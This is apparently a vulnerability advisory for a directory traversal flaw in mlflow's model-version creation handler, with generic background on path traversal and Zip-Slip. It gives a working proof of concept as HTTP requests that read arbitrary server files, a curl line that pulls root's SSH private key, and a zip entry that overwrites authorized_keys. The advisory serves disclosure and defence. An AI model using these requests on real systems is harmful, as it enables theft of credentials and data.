Directory Traversal Affecting mlflow package, versions [3.10.0,3.17.0)

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Directory Traversal via the _create_model_version handler in mlflow/server/handlers.py, which fails to reject schemeless relative path sources for prompt-tagged model versions. An attacker can supply a relative path such as ../../../tmp as the source field when creating a prompt model version, causing the server to register a LocalArtifactRepository rooted at that traversed directory. The attacker then retrieves arbitrary files from the server's filesystem by calling the get-artifact endpoint with a target filename in the path parameter, exposing sensitive files such as /etc/passwd or the tracking database.

Note: This is only exploitable against MLflow tracking servers with model registry endpoints enabled and reachable by the attacker.

Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.

1. Create a sentinel file on the server:

printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt

2. Send the following requests to the MLflow server to exploit the traversal:

First, create a registered model:

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{"name": "pwned-model"}

Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:

POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json

{
  "name": "pwned-model",
  "source": "../../../tmp",
  "tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}

Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:

GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000

This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).

Note: The PoC targets a locally running MLflow tracking server at 127.0.0.1:5000 with model registry endpoints enabled.

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release